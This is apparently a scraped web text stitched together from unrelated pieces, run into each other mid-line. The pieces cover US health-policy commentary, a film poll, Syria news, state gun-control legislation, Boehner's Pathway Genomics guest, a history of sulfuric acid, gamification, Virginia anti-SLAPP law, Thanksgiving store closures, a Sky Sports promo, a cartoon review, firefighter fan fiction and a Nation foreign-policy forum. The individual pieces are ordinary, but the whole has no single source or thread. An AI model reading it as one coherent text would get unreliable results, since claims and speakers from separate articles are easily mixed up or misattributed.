Not all states have taken part in the Medicaid expansion. The Supreme Court ruling upholding the constitutionality of the ACA also recognized the right of states to opt-out from the Medicaid component of the law, a right that 16 states have exercised, and another five continue to discuss. Most of the states that have expanded Medicaid would be expected to go blue in 2016 anyway. But not all: Ohio, for example, without which no GOP nominee has ever won the presidency; Indiana, for another, the reddest state in the Midwest; and Arkansas, Kentucky, Nevada, North Dakota, and West Virginia.
Affordable Care Act Subsidy Benefits Are Concentrated In The South
Washington Center for Equitable Growth
Unless the Supreme Court strikes down subsidies in the federal exchange in the pending case of King v. Burwell, ACA insurance subsidies are paid everywhere in the country. As the next map shows, eligibility for subsidy is concentrated in the red states. Not all of those eligible claim the subsidy. Many of those who do receive subsidies might be expected to vote Democratic in 2016 even if healthcare were not an issue. But some Republican-leaning voters will feel the hit—and especially in a tightly balanced state like Florida, that hit could have real consequences.Matt Yglesias has a very good point: the supposed transition strategy under the Ryan plan, in which everyone currently over 55 gets Medicare as we know it, while everyone younger than that gets vouchers that won’t be enough to buy adequate insurance, sets up an unstable political dynamic. In fact, we can be sure that whatever happens, it won’t be what the plan says will happen.
If the Medicare Advantage precedent holds, what will happen in 2022 or a bit later is that Congress will react to the fury of younger seniors — who see that those born just a few years earlier have vastly better benefits than they do — by increasing the vouchers. And the end result, in that case, would be that the Ryan plan substantially increases Medicare costs; remember that the payment increases that were part of the 2003 Medicare bill, introduced to rescue failing Medicare Advantage programs, have resulted in large overpayments, adding hundreds of billions to the program’s costs.
Alternatively, if the benefit cuts stick, you’ll have a lot of furious people realizing that they are paying high taxes to support lavish medical care for older Baby Boomers, while being themselves condemned to pleading with insurance companies to provide coverage in return for an inadequate voucher. Plus, private insurance companies, making lots of money off the voucher business, will cast their eyes on those potential profit centers, aka seniors, still getting government insurance. So traditional Medicare will be in the firing line — and all those assurances about how nobody currently over 55 will be hurt will turn out to be empty.
So this plan isn’t going to work; the only uncertainty is about exactly how it would fail.
An earlier version of this post misstated an aspect of the Ryan budget plan. In it, everyone currently over 55 gets Medicare as we know it; not everyone below 55.Alrighty... Here's how this will work. In the comments write down your top 3 films this year (no ties, just the spots 1 2 and 3 in your top for this year). Your favorite film will get 3 points, your second favorite 2 points, and your third favorite 1 point. The list will order the films based on the number of points. Do not know how much traction this will get so at the moment I do not know how long I want this poll to go on for.
Using this as a way to gauge for myself and others what films to see before the end of the year.
Have fun!
EDIT: Films that are tied will be sorted by average rating on Letterboxd
EDIT2: No longer allowing short filmsBEIRUT (Reuters) - The Syrian government welcomes the formation of a committee that will discuss the current constitution and is expected to be formed at a congress to be convened by Russia in Sochi, Syrian state media said.
The congress marks a Russian effort to advance a political solution towards ending Syria’s six-year-long war that has killed hundreds of thousands of people and forced millions to flee in the worst refugee crisis since World War Two.
U.N.-backed talks towards ending the conflict are due to resume in Geneva this week with the participation of the Syrian opposition to President Bashar al-Assad, who is militarily dominant in the conflict thanks to Russia and Iran.
A pro-Damascus newspaper, al-Watan, reported on Monday that the government delegation had postponed its travel to Geneva, saying Damascus was annoyed by the opposition’s insistence on its demand that Assad leave power at the start of a transition.
In a statement from the Syrian foreign ministry, the Syrian government said it would attend the “national dialogue congress” at the Sochi talks, whose date has yet to be confirmed.
Syria welcomed “U.N. participation” in legislative elections to be held after the discussion of the constitution, state media cited a foreign ministry statement as saying.
Russian President Vladimir Putin last week won the backing of Turkey and Iran - another ally of Assad - last week to host the congress.By all accounts, this should have been a terrible year for gun-control advocates. A president who unabashedly supports gun rights took office, and the National Rifle Association spent tens of millions to help elect him. Republicans are also in control of both branches of Congress and a majority of state elected offices.
But as state legislative sessions wrap up across the country, gun-control advocates are breathing a sigh of relief. It was a tough six months in the sense that they were on the defensive across the country, but they also say they played defense extremely well.
And advocates say being able to stop gun rights bills before they become law is a marker that their still-nascent movement can go up against the fully formed pro-gun movement — and win.
"2017 marked a year where we held our ground,” said Laura Cutilletta, senior attorney with the Law Center to Prevent Gun Violence, “and then some.”
The Law Center recently merged with Americans for Responsible Solutions (founded by former congresswoman Gabrielle Giffords (D-Ariz.), who was shot in the head in 2011 while meeting with constituents). And they put together a report touting their successes in state legislatures:
Legislatures in 20 states rejected bills to allow guns in public without a permit, including in red states such as Arkansas and Oklahoma.
Legislatures in 17 states rejected bills to allow guns in schools, including in red states such as Alabama and Kentucky. Thirteen of those were bills to allow guns on college campuses.
They defeated proposals in Iowa and Nebraska to repeal state laws requiring background checks for private sales.
They defeated an effort to undo universal background checks in Washington state, which in 2014 became the first state in modern times to require background checks for all gun sales.
They defeated an Arizona bill that would have required businesses that prohibit guns to be liable for any damages caused by a shooting on their premise.
There weren't any flashy wins for gun-control advocates like they had in 2016, when voters in three out of four states voted to expand background checks. But Washington and Hawaii did pass legislation that alerts police when a felon or domestic abuser tries to buy a gun and fails a background check.
And red states such as Utah, North Dakota and Tennessee passed laws making it more difficult for people at risk of suicide or committing domestic violence crimes from getting guns.
In fact, in total, five Republican governors signed bills making it more difficult for people convicted of domestic violence to get guns.
The legislative season isn't entirely done yet, and gun-control advocates are trying to notch two more major victories. New York and California are still debating two headline gun-control bills to make it illegal for people convicted of hate crimes from possessing firearms.
"When you look at what's happening in statehouses across the country, the gun safety movement is winning," said John Feinblatt, president of the Michael Bloomberg-founded group Everytown for Gun Safety.
The NRA disputes the characterization that it lost battles at the state level. Sixty bills the gun rights group supported in 2017 are now law, and just three it officially didn't support got signed into law. Among the NRA victories: Arkansas, Tennessee and West Virginia significantly eliminated gun-free zones in public buildings and parks.
And in New Mexico, where people can legally carry guns anywhere in the state capitol, gun-control advocates failed to get a newly Democrat-controlled legislature to pass legislation that would require private gun sales to go through background checks.
“I think the best way to look at this is, what actually went into law this year?” said NRA spokeswoman Jennifer Baker. “More and more law-abiding Americans are carrying firearms for self-protection, and the trend in state legislatures is to expand the ability of those law-abiding citizens to more freely exercise their right outside, wherever they may be.”
The NRA, which has been a dominant force in gun politics for decades, is also heavily invested reversing gun-control measures that have recently become law. On Thursday, a federal judge in California temporarily paused new legislation that makes it illegal for people to hold onto ammunition magazines that carry more than 10 rounds. The NRA is leading the lawsuit against the high-capacity magazine ban.
Unlike the NRA, which dates back to 1871 and began directly lobbying in 1975, gun-control groups really have only held national prominence for the past few years — since the 2012 Sandy Hook Elementary School shooting in Newtown, Conn.
That history of lobbying is reflected in what the gun-control side defines as success. State legislatures have passed so many pieces of gun rights legislation over the decades, in some states all that's left to debate is whether to allow guns in places such as day-care facilities and hospitals. Gun-control groups find themselves playing whack-a-mole in dozens of legislatures across the country, which doesn't leave as much time to advance their agenda.
Still, gun-control advocates maintain that they are slowly and surely cultivating public opinion.
A new Quinnipiac University poll finds that a majority of Americans in every age group support stricter gun laws.
Background checks are universally popular no matter which way you slice the data, and a majority of people think more guns would make the nations less safe. (Notable: This poll was taken after a man with a rifle fired bullets at unarmed Republican members of Congress playing baseball.)
But a good year so far for gun-control advocates could quickly turn into a bad one.
Congress may soon consider two proposals that could drastically change the way guns are regulated and policed: One would require states to recognize other states' conceal carry permits and another would deregulate gun silencers, a relatively new policy and top NRA priority that gun-control advocates fear would make it more difficult for people to run to safety during a shooting.
Gun-control advocates acknowledge that judging victories mostly by how much gun rights legislation they stop isn't a traditional way to score wins. But right now, those are the victories they've got, and those are the victories they'll take.
“As we go through every year, we learn what resonates and what's effective,” said Robin Lloyd, director of government affairs for Americans for Responsible Solutions. “We're getting better and better.”WASHINGTON – House Speaker John Boehner invited James Plante, the CEO of Pathway Genomics, to attend President Obama's jobs speech Thursday as an example of a business leader whose efforts to create jobs have been stymied by "excessive regulations."
However, reports by the independent Government Accountability Office (GAO) and the Food and Drug Administration indicate the product Boehner, R-Ohio, claimed was unfairly maligned by federal regulators was unapproved and ineffective.
Pathway created home genetics tests for consumers to see whether they were at risk for 70 medical conditions. Pathway teamed with Walgreens to sell the kit in May 2010, but after the FDA wrote Pathway to say the agency had no record of its seeking approval for the device, Walgreens pulled out.
Boehner's news release presents the case differently: "Despite being in compliance with all available FDA regulations, the FDA attacked Pathway in the media following the announcement of the partnership. (Walgreens) consequently backed out, and Pathway was unable to create those 100 new high-paying jobs."
Reports from the FDA, GAO and the medical community show there's no proof the tests actually work.
Jeffrey Shuren, director of the FDA's Center for Devices and Radiological Health, told a House committee in July 2010 that he had seen faulty data analysis, exaggerated clinical claims, fraudulent data and unacceptable clinical performance associated with the tests.
"These tests have not been proven safe, effective or accurate," Shuren said.
Michael Watson, director of the American College of Medical Genetics, agreed. "I think the general feeling was that we know too little about these tests to put them on the market," Watson told USA TODAY.
A July 2010 GAO report showed the tests are often unreliable. GAO investigators sent samples from the same people to four companies, the report said. In one case, the companies told the same donor he was at below-average, average and above-average risk for the same diseases.
San Diego-based Pathway Genomics, its website says, no longer sells tests directly to consumers over the Internet. It provides reports only to physicians.
House Republicans handled questions for Plante.
Dan Conston, a spokesman for Rep. Peter Roskam, R-Ill., said Pathway was chosen because it and the others "exemplify businesses and sectors hurt by excessive Washington-imposed barriers preventing them from innovating, growing and creating more jobs."Sulfuric acid: Pumping up the volume An 18th-century English physicians lead cathedrals helped launch a chemical industry. French chemist J.-L. Gay-Lussac improved the lead chamber process.
NATIONAL LIBRARY OF MEDICINE Sulfuric acid is the workhorse chemical of the industrial world. It is made in greater volume than any other product of the chemical industry. In the United States alone, well over 40 million tons of the colorless, viscous, relatively low-cost liquid are produced each year. Its use is so widespread that during the last half of the 19th century and the first half of the 20th century, fluctuations in its output were considered a good barometer of overall business conditions. It is, moreover, the first chemical to have been made on an industrial scale. The origins of sulfuric acid are lost in the obscurity of aniquity. There is evidence that it was known prior to the 10th century. In the late 15th century, Basilius Valentinus described two ways to prepare sulfuric acid; one was by burning sulfur with potassium nitrate, or saltpeter, and the second was by distilling the acid from a mixture of silica and ferric sulfate (vitriolhence the name oil of vitriol used by alchemists). Until the 18th century, demand for sulfuric acid was slight; small amounts were consumed in preparing nitric and hydrochloric acids for use in treating or assaying nonferrous metals. It was produced, for the most part, by burning sulfur in bell-shaped earthenware vessels, with the resulting sulfur dioxide absorbed in water. In the 17th century, saltpeter and sodium nitrate were found to enhance the reaction; they served as catalysts, unbeknownst to the chemical producers of that time. By the 18th century, wide-necked glass jars replaced the fragile earthenware containers. The 18th century also brought an even more basic change to the process. Glass was expensive and easily broken, and the size of the jars was limited. In 1746, John Roebuck, an English physician, came up with a much better method. In Birmingham, Roebuck built a boxlike chamber from riveted sheets of lead, the only inexpensive metal known at the time that was resistant to sulfuric acid. In such a lead chamber, Roebuck could produce a hundred pounds or more of sulfuric acid at a time, compared with only a few pounds possible in a glass jar. Soon Roebuck established a manufacturing facility near Edinburgh in Scotland. Roebuck mixed sulfur with a small amount of saltpeter on a ladle, ignited it, and placed it on a tray in the lead chamber. Water on the floor of the chamber absorbed the gases. This operation was repeated several times, and then he withdrew the acidulated liquor, which contained about 3545% sulfuric acid. The acid could be concentrated by boiling. Although Roebuck sought to keep his process secret, during the latter part of the 18th century similar plants were put up elsewhere in Britain, as well as in France. By the end of the century, Roebucks Scottish plant consisted of more than 100 chambers (often dubbed lead cathedrals), each about 10 ft square and 12 ft high. The acid was sold for making dyes and hydrochloric and nitric acids; it was also used as a substitute for sour milk by cloth bleachers. Even more important in spurring demand for the acid was the invention by the French surgeon Nicolas Leblanc in 1791 of a process for producing soda ash (sodium carbonate), used in the production of glass, soap, and dyes and for bleaching textiles. The first step of the Leblanc process involves treating sodium chloride (common salt) with sulfuric acid to form salt cake (sodium sulfate) and hydrochloric acid. Because sulfuric acid is difficult to ship, soda ash manufacturers usually established their own acid plants. Gay-Lussacs Towers
The 19th century brought major improvements in lead-chamber units. Blowing supplemental air into a chamber increased production by adding oxygen. In 1827, the French chemist Joseph-Louis Gay-Lussac devised a tower that recovered most of the nitrogen oxide gases formed, thereby reducing consumption of saltpeter. The first Gay-Lussac tower was installed at a plant in France in 1837. But its use was not widespread until John Glover invented a second type of tower, patented in England in 1859, in which the acid was concentrated and more of the nitrogen oxides were recovered. By the 1870s, the GloverGay-Lussac system was used with lead chambers in Britain and throughout Europe. Meanwhile, starting in the 1840s, acid makers had increasingly turned to roasting pyrites (iron and copper sulfide ores) as a source of sulfur dioxide. Most sulfur was mined in Sicily, and the monopoly there kept the price high. Pyrites not only were a less expensive raw material but also could be used to produce iron and copper once their sulfur content had been extracted. In the latter part of the 19th century, the demand for sulfuric acid expanded further as ammonium sulfate (used as a fertilizer) began to be made from ammoniacal liquors formed as a byproduct of gas works. In the 1840s, too, British fertilizer firms started to produce superphosphates by treating phosphorus-rich rocks with sulfuric acid. In Britain, output of the acid nearly tripled between 1860 and 1900 to about 1 million tons. Harrisons Plant
The lead chamber was introduced to the United States when John Harrison, then only 20 years old, set up a plant in Philadelphia in 1793. Harrison had earlier studied chemistry with Joseph Priestley in England. Initially, he made only about 45,000 lb of sulfuric acid a year, but by 1804 his plant was 18 ft high, 18 ft wide, and 50 ft long and could turn out nearly 500,000 lb annually. The company Harrison formed, which also manufactured various salts and paint pigments, remained in business until 1917, when it was sold to DuPont. Other lead-chamber units were put in place in Philadelphia, the New York City area, New England, and Baltimore. In Cincinnati, OH, German immigrant Eugene Grasselli erected the first lead chamber west of the Alleghenies in 1839. Acid produced in a lead chamber cannot be concentrated to greater than 78% purity, even with distillation. This was not a drawback for such heavy-duty applications as making soda ash or fertilizers. But the rise of the German organic dyestuff industry in the 1870s created a demand for stronger acid. A way to prepare concentrated acid had been developed in the 17th century in Saxony. The process began with iron pyrites, which could be converted to a material containing about 50% ferrous sulfate, which in turn could be calcined to form ferric sulfate. Heating in a retort changed the sulfate to ferric oxide and sulfur trioxide. Absorbing the trioxide in water resulted in concentrated sulfuric acid; absorbing it in normal sulfuric acid formed the fuming oil of vitriol needed to produce dyes. It was a complex, difficult process; yields were low and costs were high. Output totaled merely a few tons a year. In the early 19th century, a ton of fuming sulfuric acid cost $100 or more. The German dye makers of the last half of the 19th century were not long saddled with such burdensome costs, however. A rival to the lead-chamber process had been developed that could generate acid that was more concentrated (98100% pure). In 1831, Peregrine Phillips, a British vinegar merchant, patented a method by which sulfur dioxide that had been diluted with air was passed through a heated tube containing finely divided platinum. The sulfur dioxide converted to sulfur trioxide, which was then absorbed in water to form concentrated sulfuric acid. At that time, the demand for such acid was so slight that Phillips catalytic contact process did not make any inroads against the lead-chamber method. But in 1875, a contact-process acid plant was started up at Freiberg in Germany, using lead-chamber sulfuric acid decomposed by heat as a source for pure sulfur dioxide. From the mid-1880s on, the output of acid produced by the contact process grew rapidly. By then, gases from pyrites had replaced sulfuric acid as a source of sulfur dioxide. During the early 20th century in Germany, development of vanadium catalysts to replace platinum encouraged the use of the catalytic contact process. Vanadium is stronger, less expensive, and less likely to have impurities. Stateside Production
Sulfuric acid makers in the United States did not immediately switch to the catalytic contact technique. Until the 1880s, in fact, they had not adopted the GloverGay-Lussac towers or shifted to pyrites, in part because domestic sources were not available at a reasonable price. After the Civil War, though, consumption of sulfuric acid grew, especially for making superphosphate fertilizers and refining petroleum. Output of the acid expanded from 60,000 tons in 1863 to about 700,000 tons in 1890. The first U.S. contact-process plant was built at Mineral Point, WI, in 1899 and used sulfur dioxide from an adjacent zinc smelter. Other, similar facilities quickly followed. By the start of World War I, the annual U.S. output of sulfuric acid, at 4 million tons, led the world. With improvements in design and engineering, production from contact-process plants gradually eclipsed that from lead-chamber plants (where the units were no longer necessarily built as boxlike chambers but as towers). In 1910, about 80% of the sulfuric acid made in Europe and North America came from the chamber process. By 1930, it had dropped below 75%. By 1960, chamber-process acids share of total output was only about 15%. Probably no new chamber-process plants have been built since the 1950s. Meanwhile, an increasing share of the sulfur dioxide used in contact-process plants has come from the off-gases of smelters, waste (spent) sulfuric acid, and other environmentally harmful wastes. These sources have largely replaced pyrites. But whatever the raw material, sulfuric acids world ranking as the volume leader among industrial chemicals remains secure. David M. Kiefer, former assistant managing editor of Chemical & Engineering News until his retirement in 1991, is a consulting editor for Todays Chemist at Work. Send your comments or questions regarding this article to tcaw@acs.org or the Editorial Office 1155 16th St N.W., Washington, DC 20036.When starting to discover gamification it is important to have an understanding of what gamification is, and what it isn’t, and how it fits in with the other gamelike experiences we encounter in life.
Is Gamification the same as Serious Games? Are Simulations actual Games?
To try to make the distinctions between gamified experiences a little more clear, I have put together a chart which show the essential differences and where each one sits in relation to the others:
To break this down further, I will briefly go through each type of gamified experience:
Games
On the chart, Games are at the bottom left. They use elements of gameplay such as rules and scoring and are created primarily for entertainment purposes. There is no purpose beyond playing the game itself.
Serious Games
This type of Game can use elements such as rules and scores but will apply to or model a purposeful real-world situation or outcome, such as learning. Many educational and training games fall under this category.
Simulation
Many Simulations look very much like video games but they have purpose beyond that of entertainment and, like Serious Games, are typically applied to or model real-world experiences such as learning to fly an aircraft or even practicing surgical procedures.
Gamification
Gamification does not use gameplay and has a purpose beyond entertainment. It is
“The use of game elements in non-game situations to create motivating and engaging real-life experiences”.
Gameful Design
This uses elements of design from games but does not use gameplay and is not designed for entertainment. It is mainly for an aesthetic purpose and to attract and engage users by providing a fun experience. An example would be using video game graphics in a website design.
Of course, the reality is that this a loose model and open to some interpretation. You will see overlaps, leaps and merges of each of the gamified experience types quite often. Despite this, I feel that it is best to at least set of some form of framework which may be applied in the majority of cases.
For the rest, well… play around with them..!
You can connect with Steven on Facebook, Twitter and LinkedIn.Legislation championed by a Richmond senator passed Virginia’s Senate on Tuesday in response to a defamation suit filed by a former Richmond Public Schools principal in 2014. The lawsuit stemmed from a letter published by Style.
“I had a group of individuals in my district who wrote a private letter to their superintendent making comments about a principal,” Republican Sen. Glen Sturtevant said. “A weekly newspaper of all things actually published that letter, and then this group of parents from a local school were sued by that principal.”
The former principal at Lucille M. Brown Middle School, Denise Lewis, sued four parents who signed the critical letter, published online in conjunction with a July 2013 story. The $3.5 million lawsuit went to the Virginia Supreme Court, which affirmed a previous dismissal.
“They had to hire lawyers throughout that process to defend them,” Sturtevant said from the floor of the Senate. The letter and lawsuit happened while Sturtevant served on the Richmond School Board. He was elected to the Senate in 2015.
The parents’ legal bills approached $40,000, says former School Board member and occasional Style contributor Carol A.O. Wolf, who helped lead a charge for the legislation.
Sturtevant’s bill adds defamation to the causes of action from which a resident is immune when making statements regarding matters of public concern. It expands on a law that protects people from being sued for comments made at public meetings to include statements made through a third party, like a newspaper.
“All these parents did was write a letter to the superintendent after three years of meetings,” Wolf says. “Parents shouldn’t run a risk for being involved in their child’s education.”
The bill is what Sturtevant and Wolf call anti-SLAPP legislation, an acronym that stands for strategic lawsuit against public participation.
“This bill would disincentivise public officials from seeking to stifle free speech with these strategic lawsuits,” Sturtevant said.
Roberts & Associates represented Lewis, and Andrew T. Bodoh, a lawyer for the firm, says the bill would have been a serious obstacle to Lewis’ case.
But Bodoh warns that this “knee-jerk legislation” has broader implications for someone whose reputation is at stake.
“In a time when Virginians are legitimately concerned about fake news and the ‘alternative facts’ spread though social media and the Internet,” he says in an email, “this bill would close the courthouse doors to many people who want to prove the truth and restore their damaged reputation.”
The bill passed the Senate 38-2, and a similar bill sponsored by Delegate Terry Kilgore, a Republican from Southwest Virginia, passed the House 74-23. The two will be reconciled and sent to the governor for final approval.
“It shouldn’t be a Democrat or Republican thing,” Wolf says. “It’s: Are we going to protect the average citizen from participating in the democratic process?”
Bodoh notes that he represents both defendants and plaintiffs in such defamation cases and fears this law disrupts a “careful balance” Virginia has reached around honest and open discourse.
“Defamation cases are difficult to win, and often hurtful to the plaintiff to bring,” he writes. “But for the people who are innocently accused, it may be all they have.”
Lewis was reassigned and later left the school system. Style was unable to reach her for comment.
Sturtevant shepherded a similar bill through the Senate last year but it failed to be heard in the House of Delegates.× Here’s the List of Stores That Will Be Closed on Thanksgiving Day 2017
Thanksgiving marks the beginning of holiday shopping season for some. But if you’re looking to get out and snag some ‘turkey day’ deals, you’ll be out of luck at some stores this year.
In recent years, many large retailers opened their doors on Thanksgiving day to get a jump on Black Friday sales.
This year, however, more than 50 stores will be closed on the holiday, according to the deals site BestBlackFriday.com.
In a statement, BestBlackFriday.com announced that they have confirmed the closed status with a representative from each of these retailers below.
This list may change, check back for the latest updates.
A.C. Moore
Abt Electronics
Academy Sports + Outdoors
At Home
BJ’s Wholesale Club
Blain’s Farm and Fleet
Burlington
Cabela’s
Cost Plus World Market
Costco
Craft Warehouse
Crate and Barrel
DSW – Designer Shoe Warehouse
Ethan Allen
Gardner-White Furniture
Guitar Center
H&M
Half Price Books
Harbor Freight
Hobby Lobby
Home Depot
HomeGoods
Homesense
IKEA
JOANN Fabric and Craft Stores
Jos. A. Bank
La-Z-Boy (all corporately owned stores)
Lowe’s
Marshalls
Mattress Firm
Micro Center
Music & Arts
Neiman Marcus
Office Depot and OfficeMax
Outdoor Research (closed Black Friday too)
P.C. Richard & Son
Party City
Patagonia
Petco
PetSmart
Pier 1 Imports
Publix
Raymour & Flanigan Furniture
Sam’s Club
Sierra Trading Post
Sportsman’s Warehouse
Sprint (Corporate & Dealer Owned Stores; Mall Kiosks May Open)
Staples
Sur La Table
The Container Store
The Original Mattress Factory
TJ Maxx
Tractor Supply
Trollbeads
Von Maur
West Marine
BestBlackFriday.com states that most stores closed on Thanksgiving are doing so to give employees and customers time to spend with friends and family.Class of '92 Full Time - Sky Sports documentary with Ryan Giggs, Paul Scholes, Nicky Butt, Gary and Phil Neville
Watch episode 1 of 'Class of 92 Full Time' on Sky Sports Premier League at 10pm on Sunday Watch episode 1 of 'Class of 92 Full Time' on Sky Sports Premier League at 10pm on Sunday
A new Class of '92 documentary will air on Sky Sports on Sunday, following Ryan Giggs, Paul Scholes, Nicky Butt, Gary and Phil Neville at Salford City.
The third series - Class of '92 Full Time - follows on from the first two that charted the journey of the former Manchester United stars as they took charge of the non-league club for their first season as owners.
Ryan Giggs delivers a speech at a committee in Salford that gives Gary Neville the giggles Ryan Giggs delivers a speech at a committee in Salford that gives Gary Neville the giggles
Now three years into their tenure, the first episode will be broadcast on Sky Sports Premier League and Sky Sports Main Event following the Manchester derby.
The boys discuss the consequences of paying players part-time or full-time wages The boys discuss the consequences of paying players part-time or full-time wages
Follow the quintet's latest trials and tribulations as they discuss how they can improve the club as they look to make Salford City FC a full-time operation - and hear a surprising name-drop from Giggs!
Hit play on the videos above to see snippets from the Class of '92 Full Time, and catch the first episode of the new series from 10pm on Sunday on Sky Sports Premier League and Sky Sports Main Event.The following is our main April Fool’s Day post, all about Simba the King Lion and why it is both awful and amazing. If you want to see that, then check it out after the break. If not, just keep scrolling for more Zootopia content!
Sorry that this article is a bit late:
but this ^
lead to this
and I haven’t been able to type until now…sorry.
Now as for the actual article. I’m here to tell you about a show named Simba the King Lion made by Mondo TV Italy(yes THAT Mondo TV animated Titanic Movie Italy) that has 104 episodes total, and 2 spinoffs. And no you haven’t read that title wrong this show is knock off Lion King…aaaaaand Bambi.
Pictured the face of a deer who just found out his friend is heterosexual and never had feelings for him.
It’s also rip off Jungle Book with Baloo and Shere Khan. Really I don’t think this show owns any original concepts except maybe the pedophillic dog named Fox who falls in love with the cub drinking booze in the first image I posted during the first spinoff. Anyways I should probably explain to you why I’m even writing this article…outside of Andy making me.
Accurate depiction of the ZNN workplace.
Despite this show’s flaws most of the old-guard of ZNN loves this show(and likes to pretend it’s proto Zootopia), and the reason why is because it gets weird and never stops. In the second episode Simba and Buckshot(because copyright he isn’t named Bambi) eat some “grass” and spend the rest of the episode on a drug trip. Later on Simba has a staring contest with the sun and the sun taunts him with the fact that he will never share in its knowledge. This show makes you think that you have it figured out, and just when you think you know what’s coming next the show pulls a bait and switch and suddenly Simba has kids and they are competing in the world soccer tournament in New York to save their kidnapped friend. |
ran into the bay room from the rec room and a few others slid down the fire pole from the second floor, Weiss put her high boots on and tucked her hair into her turnout coat. Once she strapped in her helmet, she quickly ran to Truck 201 and jumped into the driver's seat.
Her father Hermann jumped into the officer's seat as Weiss started the truck up and they waited for more firefighters to show up at the station. He said, "You got the address, right?"
"Of course, dad. When do I ever forget the address of a call?"
"Well, there was that one time for the really fat guy stuck in a bathtub in 2019..."
"That was one time," Weiss replied. "One time. Besides, it's not like it was a really urgent call."
As the ambulance pulled out first, Car 5 sped past the station, lights blazing and siren blaring. After they passed, several firefighters ran across the street into the station.
As Hermann put on his SCBA in the officer's seat, he asked, "Anyone on scene yet?"
"Nope," Weiss said. "Last I heard, Fire Alarm told us the caller was trapped in her apartment, and a second call was coming in for smoke showing from the outside, so it's probably gonna be a Code 99 eventually."
"Alrighty then, looks like we'll be going to work."
CHANGES TO THE RADIO SYSTEM OF THE VCFD EFFECTIVE DECEMBER 2, 2020:
Paging:
Channel 1: 460.5750 (Districts 1, 5, 6, and 7)
Channel 2: 460.5250 (Districts, 2, 3, and 4)
Dispatch:
(Same as before, see Season 1, Part 3)
Fireground: (New Third Channels added to each district)
D1: 453.1000/453.1250/453.1500
D2: 453.2000/453.2250/453.2500
D3: 453.3000/453.3250/453.3500
D4: 453.4000/453.4250/453.4500
D5: 453.5000/453.5250/453.5500
D6: 453.6000/453.6250/453.6500
D7: 453.7000/453.7250/453.7500
Special Operations:
HIGH RISE OPS: 486.1125/486.7125
MASS CASUALTY OPS: 485.1875/485.7825
ADMINISTRATIVE: 487.2625/487.1375/487.2025/487.2925Ready to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week.
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Editor’s Note: For much of the past two decades, and certainly since the invasion of Iraq in 2003, progressive foreign policy has been defined by what it is against—primarily, an aggressive neoconservatism that has led us into multiple wars in the Middle East and has sacrificed important domestic goals in favor of a global crusade for American dominance. But it is much less clear what a progressive foreign policy stands for, and what it would look like in practice. It is especially important to try to define one now, after the election of Donald Trump. Ad Policy
Progressives would be wise to avoid two tendencies on this issue. The first is defining a progressive foreign policy as simply a rejection of whatever Trump says or does. Of course, he has already appointed some dangerous extremists to important foreign-policy positions, and Trump himself is erratic at best, seemingly incapable of focusing in a sustained way on difficult foreign-policy problems. But some of his statements— his calls to work with Russia, end America’s destructive wars, and create more equitable trade agreements—are not so far removed from ones that we ourselves have embraced. We will need to champion our own progressive version of these positions rather than simply reject them outright.
The second tendency we should avoid is falling into nostalgia for the Obama era. Of course, we should defend the administration’s notable achievements in beginning the normalization of relations with Cuba and helping to engineer a nuclear agreement with Iran. We can also laud the intent behind some of the president’s wonderfully crafted speeches that were meant to repair America’s image in the world. But we must also remember the shortcomings of Obama’s foreign policy: his perpetuation of the “Global War on Terror” (albeit without the Bush-era name), including an undeclared drone war stretching from the Maghreb to South Asia, and an unnecessary but dangerous new Cold War with Russia. And while this magazine endorsed Hillary Clinton against Trump in the general election, we actively opposed many of the so-called “liberal interventionist” policies that she favored.
For all the democratic promise of the movement that Senator Bernie Sanders inspired, he didn’t leave us with a series of foreign-policy proposals to guide our thinking for the future. That’s the unfinished business we take up in this forum. We asked six leading progressive thinkers to offer their thoughts on what the defining ideas and principles of a progressive foreign policy should be as we look beyond the 2016 election (see “Related Articles” for the companion pieces). It’s the beginning of a discussion that our nation must have, but not, by any means, the end.
American foreign policy has an empathy problem. Related Articles The Democratization of US Foreign Policy Jeffrey D. Sachs America Must Choose Diplomacy Over War Phyllis Bennis How Progressives Can Change Middle East Policy Hillary Mann Leverett The Importance of Diplomacy in a World of Multiple Power Centers Michael T. Klare How American Exceptionalism Has Undermined Foreign Policy Patrick Lawrence
The problem isn’t a shortage of empathy. Large quantities of empathy have been harnessed to build support for ill-advised interventions. The Iraq War was waged in part to help suffering Iraqis, many of whom, as it happened, wound up dead. The United States and its allies justified the arming of Syrian rebels as a way to help the oppressed Syrian people, though, in retrospect, had there been no armed insurrection, hundreds of thousands of Syrians would be better off—living under an oppressive regime, but still living. Not to mention the millions of refugees and the many Syrians who have suffered under ISIS’s rule.
No, the problem isn’t a shortage of empathy, but rather an imbalance between two kinds of empathy. Psychologists distinguish between “emotional empathy”—the feel-your-pain kind, which supporters of military intervention are good at cultivating—and “cognitive empathy.” Cognitive empathy means putting yourself in the shoes of other people in the sense of seeing how the world looks to them: perspective-taking.
For example, had we put ourselves in the shoes of Sunni Iraqis, we might have guessed that replacing a longtime Sunni leader with a Shiite leader would strike them as threatening—so threatening that, unless the transition were handled with unlikely deftness, rebellion could ensue. Had we put ourselves in the shoes of Bashar al-Assad, we wouldn’t have insisted for so long that any negotiated solution begin with his surrendering power. Authoritarian leaders almost never surrender power, least of all in an age when the reach of justice is increasingly global—leaders with a history of human-rights abuses no longer feel enduringly secure in exile. Cognitive empathy is putting yourself in the shoes of others in order to see how the world looks to them.
And so on. Much of the problem with American foreign policy is a simple failure to understand the perspectives of important actors clearly enough to calculate the likely consequences of our actions.
The kind of cool calculation I’m recommending is typical of the “realist” school of foreign policy that has historically been associated with the right. Realism has long been seen as cold-blooded, even immoral, partly because it can mean putting yourself in the shoes of brutal dictators, and partly because one of its best-known practitioners, Henry Kissinger, has so much blood on his hands.
But one can imagine a progressive realism that is quite moral—at least if you agree that preventing mass slaughter and mass suffering is morally good. Here are some key distinctions between a progressive realism and more traditional kinds of realpolitik:
§ Progressive realists may tolerate oppressive or belligerent foreign leaders, mindful, among other things, of the carnage and chaos that regime change can bring. But that doesn’t mean actively backing such leaders— as when the United States validates a coup by funding Gen. Abdel Fattah el-Sisi in Egypt, or logistically supports the Saudi bombing of Yemen. Ready to Fight Back? Sign Up For Take Action Now
